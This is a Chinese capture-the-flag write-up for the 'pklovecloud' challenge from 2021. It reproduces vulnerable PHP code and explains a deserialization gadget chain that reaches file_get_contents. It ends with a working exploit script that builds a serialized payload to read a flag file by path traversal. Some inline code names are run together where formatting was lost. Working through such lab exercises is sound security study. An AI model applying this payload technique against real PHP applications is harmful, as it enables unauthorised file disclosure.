【第五空间 2021】pklovecloud

题目

<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>

思路

  1. 触发反序列化:通过GET参数传递序列化字符串。pks

  2. 利用类的方法:当对象被当作字符串处理时,会调用属性的方法。acp__toStringcinderecho_name

  3. 属性替换为实例:使得调用时触发类的逻辑。cinderaceecho_nameace

  4. 满足条件读取文件:在类的方法中,反序列化属性后,确保和全等,从而读取指定的文件。aceecho_namedockerneutronnovafilename

构造Payload

  1. 创建对象:用于属性的反序列化,确保和都为。stdClassdockerneutronnovanull

  2. 构造对象ace

  • filename设为flag.php

  • docker设为序列化的对象。stdClass

  1. 构造对象acp

  • cinder属性(protected)设为上述对象。ace

  • neutron和设为。novanull

其他做题思路

本题首先想到获取flag,就得通过ace类中的echoname()来执行fileget_contents(flag.php);

不先考虑如何绕过if,先想如何执行ace类中的echo_name()

于是看到上面acp类中有toString()可以调用echo_name() 再想如何调用toString()。

__toString()此魔术方法会在类被当作字符串调用的时候自动触发,比如说echo一个类

于是我们看到最下面的if刚好有echo,需要传入一个序列化的acp类,将会打印"Pk very safe^.^"

这里是因为acp类中function __construct()已经定义实例化一个new pkshow;自然会调用pkshow()的echo——name(),所以我们要修改一下:

 function __construct() 
   {      
       $this->cinder = new ace;
   }  

序列化后传入pks打印了"keystone lost~"

总体思路:new ace()————>construct():实例化new ace; 序列化new ace()传入pks————>toString():执行ace的echo_name()

接下来就要考虑如何进入if以及获取flag

public $filename='flag.php';不用说
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)

这里让docker直接等于NULL;$this->openstack也自然等于NULL 就可以进入if

EXP

<?php  
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new ace;
    }  
    function __toString()      
    {            
    }  
}  

class ace
{    
    public $filename='../nssctfasdasdflag';    //之前为flag,之后显示出nssctfasdasdflag
    public $openstack;
    public $docker=NULL; 

}  
$a= new acp();
echo urlencode(serialize($a));

?>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值